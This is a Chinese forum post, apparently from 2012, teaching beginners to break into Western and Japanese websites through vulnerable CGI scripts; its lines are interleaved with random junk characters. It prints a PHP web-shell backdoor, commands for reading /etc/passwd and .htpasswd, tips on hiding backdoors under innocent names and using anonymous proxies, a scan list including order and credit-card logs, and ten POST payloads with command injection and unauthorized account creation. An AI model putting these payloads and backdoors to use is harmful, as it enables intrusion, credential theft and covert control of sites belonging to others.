中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
9 |6 l- `& ~* V2 G5 f' t/ y+ V- A' Q大家好 我是bboyhip  只是一名菜菜的exploiter, d" e6 X7 Y$ ~( x1 u9 e' w& d
很开心来到贵论坛3 Y; `# p  c* ^, E1 ~+ C8 s
这里让我感觉 很有技术交流的感觉* t6 ^0 Q4 n7 Z  C% Q0 u2 H
我会长长来玩的+ n% M2 N2 V4 Y! S
前言:" L% [" ]7 A1 K6 V; u
以下讲解针对欧美日本网站3 M) R* {$ ?- R& N' M' X+ [" S6 k
當我們在做滲透分析的時候 方法有很多* ?5 u: Q5 u1 x" g/ c
我门都知道 国外伺服器大多是linux 平台7 u8 G$ b: u: L
所以有很多网站程序有6成都会使用cgi 脚本来管理8 p4 [% G0 b- [0 T/ Z& t, e* \( ~
目录为/cgi-bin/* p4 V; r1 b7 n- s% e# o
! @8 w6 l  c5 V7 P" n
只是个人在实务上一些经验
% g0 T0 w' G* F写的不好 请多多见谅喔 : a) @# [' Y, ]
在这里我简单分为几个部份一定要會的
9 _9 I3 v: T5 _8 v: U, B& z: R讲解一下/ ^; x5 q; ?! _% ?2 n1 Y* c/ F4 y4 q
让没有基础的人很容易上手
, w1 ~" [2 u: V) v
* ~: @: }& M9 |3 `+ b' G- e. S% w+ i+ Q5 Y以下内容跟帖回复才能看到& r) C7 f5 L8 F1 c2 i8 n/ s2 `
==============================" B: Q. h# q, ^5 q) v- A6 X5 _" Q

# \; k5 I% p1 @3 v3 [$ e& R9 S第1部份: 何谓Shell?& F+ f1 u6 ]) Z" J. p
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
# U, m+ z3 M- P; L: F6 aA shell is the program which reads user input from the command line and executes actions based upon that input.
: O5 B0 x# {1 v2 N意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
5 {3 V3 {$ x6 v1 R. m* Z+ _0 y9 o( C! O8 D6 a/ x7 o8 m
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  : y: i) N& M$ }
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
' \& J5 ~- _2 k7 n0 S* H9 j所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
% |0 u: H& [9 N$ N# R5 ]/ i9 ?1 n- ^+ C2 V/ K1 F
第2部份: Unix 指令' X- ?: |3 k& [% K2 r: J: {' ]
以下是一些常见及重要的指令:) |; z+ G9 T. V' Z+ q
pwd: 显示当前目录, 即是後门/程式所在的位置# g' H3 F5 `( o# {+ ]
如 /home/www/site.com/cgi-bin/3 T' S/ J6 \4 x& b# {
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  # Z) o$ P, ~' d& {8 e" r% m: t
ls -al :详细列出档案资料(当前目录); Z& {% d4 w4 h" M# \+ o9 ^7 J
ls /: 列出根目录
( W$ U1 C. J2 @3 d5 a" T0 Pls /etc: 列出/etc的资料夹及档案
/ r# B# j2 ~6 ~) _; Els ../ -al: 详细列出上一层的资料夹及档案
! @: K+ S  e: C: y0 lcat: 显示档案内容9 @9 h+ _6 r4 Z9 t- C  I! C9 r# c* A
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
2 _  R! m2 s$ h* t5 |cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
8 c- y: c' w1 r) D/ `who: 显示谁login 至系统
' G; Q8 B7 ?) h# L+ _3 xman: 显示指令用法  
0 F" a  w5 j  l5 ]3 Gman ls: 显示ls这指令的用法  3 I; V# ~1 m( P; s+ Q4 k4 G, }7 h2 i
mkdir 建立目录5 b3 t+ z* p1 z- T
rmdir 删除目录
' O% k7 ]; M" d3 h. ]3 x: Ymv 移动档案& p! q6 A  O( E# d! n$ X$ p1 S
rm 删除档案
0 K! U5 R( g4 `# G7 S% _& d6 Z, h/ Q
第3部份: Shell的使用1 h- P2 T! T1 z; Q* }+ x
例如:- Y6 e( K- y4 y5 J$ f1 ^
http://site.com/refer.php$ A- r2 W6 y7 ~
这是我的後门, 原代码如下:
  P  P0 P/ T- V8 A, u<Form Action="#" Method="POST">
) g7 F5 F3 g4 H9 w) b' A0 b3 t3 [' `<Input type="text" name="cmd"> 4 \4 e1 D2 T; z1 A( p
<Input type="Submit">
+ s* Q3 M" [' ]4 K$ _" r2 B5 |5 N</Form> / d- |) e+ b$ F& N! g
<?php . n  p  a1 p% B" b! {# K0 g5 ~
$cmd = $_POST['cmd'];
% O6 U8 N& U* K; S) Z+ H1 K) S$Output = shell_exec($cmd); ! }$ u2 F, W+ U8 C& m
echo $Output; 3 y. t: g4 D, W- y0 S
?>
7 s2 q' e% Q7 n输入pwd, 可得到绝对路径:2 B+ u2 J1 }- a* m9 Q
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
# \% x% W9 _8 r( ?: w$ ?8 B
' i1 B# O, L' H第4部份: 注意事项7 x# `; D. P: A  _0 |
- 使用匿名代理, 保障自己
2 C: _3 t0 M( p- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动1 |7 e$ q* ?3 ?
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等./ A% O  @/ m6 B0 r: v
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- Y4 ~# C2 r. F% Q- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
) }% X0 C- ~1 _9 N) J% M不容易被发现.) P2 I* w; m0 l. J7 x' W% P
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
* w( W, O; L& M6 B8 q针对网站的渗透分析方法太多了+ [: y8 n0 m5 r- d% ]# m1 g; Q5 c8 C0 L
这篇文章的重点是cgi 脚本攻击
) P4 ?+ [. z; G所以我用简单的叙述形容
% M8 ?# j0 q9 N开始讲解脚本入侵过程:' P% W( G" c; i' x, S" L. B
在这里提供一些方法思路让大家学习一下* L; Y# b. R1 X8 d6 q7 Q: h
% b  j/ T1 t! Y9 V3 F
1.一开始对一个网站进行cgi漏洞扫描- d7 O! ?; V8 X7 X
我们需要的东西有" {) J! D& P' r7 n/ g2 n4 j; M
扫洞工具 如:triton..等等
0 p& b' ]# `8 o9 }3 i! O: YE表
- o! o8 F: \- Y) E  w1 h9 ~$ `' n" H$ @7 t9 d" w7 S+ T
/cgi-bin/add-passwd.cgi
* M* e: Z3 b+ q& r+ z/WebShop/templates/cc.txt% K3 H. l. Q& H# c3 O5 x
/Admin_files/order.log
/ Y+ o+ i5 V9 B3 V' K. }/orders/mountain.cfg% u% z0 r$ P) j& R7 ?# w& n
/cgi-sys/cart.pl
& L  k; x( o# o/scripts/cart.pl
1 ?1 F1 @4 T$ U/ P- `* X  N/htbin/cart.pl
, Z4 Y( Q) `) bE表来源可以是网路收寻或是自己的0 day+ O3 `, g9 z* Z. q& Y4 G* K2 \* X

. ]7 |% t# W4 T) s: j2.怎样确认扫到的洞 是真的还假的?
# o' q" |# }1 k5 E举例: target: http://www.site.com/cgi-bin/add-passwd.cgi$ Q; G5 q% u: k3 r
一般都是在IE里先看一下的,记住这个返回码哦
" J3 Q5 i" N  [% }ERROR:This script should be referenced with a METHOD of POST.5 }* U* n# B( w4 z2 F# {6 q$ ]* N
没有返回一定是假的1 B3 L: f6 B: m( X( ^, B' W
3.重来来了 很多人都会问我
$ w2 c- }- t& J0 k) Q* {他扫到很多洞 但是不会使用
) m1 a" i  ]/ I) h  ^) T! h4 w因为这些漏洞 使用的语法 称为post
7 E% r/ F+ P$ Y: n: z$ @我们要找post 的方法很多( G- |+ M& ?" Y4 W( e
可以是源代码分析 找出介质5 }; d  ?% c9 R; z+ S& J1 F
或是用抓包工具 抓他的语法...等等
; C* o7 \5 n! N! g! S) q) Y% S1 h% k* D) S- G6 o8 d
以下我提供10个 cgi 洞以及使用方法post* J3 g( ?* c1 k2 k: Y7 b5 z' q
让大家可以针对网站去做扫描  ! Z  g8 z. b# ?% I6 c
/index.cgi
, C) }  U2 U$ }, d' Lwei=ren&gen=command
2 r7 ^+ r( Y" j; u$ Z) L/passmaster.cgi
" U: X" @! v6 a/ I) S: U& |, aAction=Add&Username=Username&Password=Password
" t# f/ r( Y- j  b/accountcreate.cgi6 M9 e& A) x  u, S/ y  R
username=username&password=password&ref1=|echo;ls|( x+ ]. c! c. f0 |+ q  S
/form.cgi
" J1 Z+ s& H) `! c0 Z" B! F" N7 X' rname=xxxx&email=email&subject=xxxx&response=|echo;ls|7 y) h3 y0 I5 ]/ ]% l
/addusr.pl$ B! Y% M* k/ N$ P
/cgi-bin/EuroDebit/addusr.pl
0 L8 Z* Q% X) K) ]4 Ruser=username&pass=Password&confirm=Password
1 A- t, R0 |! |! T- l/ccbill-local.asp$ [" ?! \7 B) z( X% K" t2 L0 |
post_values=username:password
, G7 n% D7 ?2 c2 l1 P/count.cgi
3 @8 Z  t- {; _7 I4 e8 Qpinfile=|echo;ls -la;exit|
$ {9 _. r5 y& F' d/recon.cgi3 M9 A$ j0 a6 N! u6 F; V
/recon.cgi?search
- j# y3 G* w+ s# _0 S/ Qsearchoption=1&searchfor=|echo;ls -al;exit|7 @+ d. ~- Q/ A+ k/ G" f+ n
/verotelrum.pl# C, B2 x# l+ }
vercode=username:password:dseegsow:add:amount<&30>
- j; O  n1 D, C4 d* a- S9 R/af.cgi_browser_out=|echo;ls -la;exit;|
  Q3 u2 `+ ]5 y% S3 ]- j9 w$ i0 B4 K- Y* V5 o) P, E" u. S4 O* ]3 C
今天就讲到这  感谢大家支持: N! C) w. f8 Y" y" F





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2